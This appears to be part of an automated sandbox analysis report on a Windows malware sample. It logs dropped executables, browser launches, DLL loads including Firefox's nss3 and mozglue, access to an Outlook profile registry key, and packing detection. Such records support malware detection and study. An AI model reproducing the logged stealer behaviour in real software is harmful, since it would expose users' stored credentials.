Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7220 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7936 --field-trial-handle=2492,i,7938649738080737182,642918647248851128,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\B8C2.tmp\B8C3.tmp\B8F3.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Section loaded: netutils.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: winmm.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: uxtheme.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: windows.storage.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: wldp.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: propsys.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: profapi.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: edputil.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: urlmon.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: iertutil.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: srvcli.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: netutils.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: sspicli.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: wintypes.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: appresolver.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: slc.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: userenv.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: sppc.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: pcacli.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: mpr.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: JGKjBsQrMc.exe Static file information: File size 1878528 > 1048576
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: JGKjBsQrMc.exe Static PE information: Raw size of lddzjshm is bigger than: 0x100000 < 0x199200
Source: Binary string: mozglue.pdbP source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source: Binary string: nss3.pdb@ source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source: Binary string: softokn3.pdb@ source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.19.dr
Source: Binary string: nss3.pdb source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source: Binary string: mozglue.pdb source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source: Binary string: softokn3.pdb source: softokn3[1].dll.19.dr, softokn3.dll.19.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Unpacked PE file: 1.2.JGKjBsQrMc.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Unpacked PE file: 6.2.explorti.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Unpacked PE file: 7.2.explorti.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
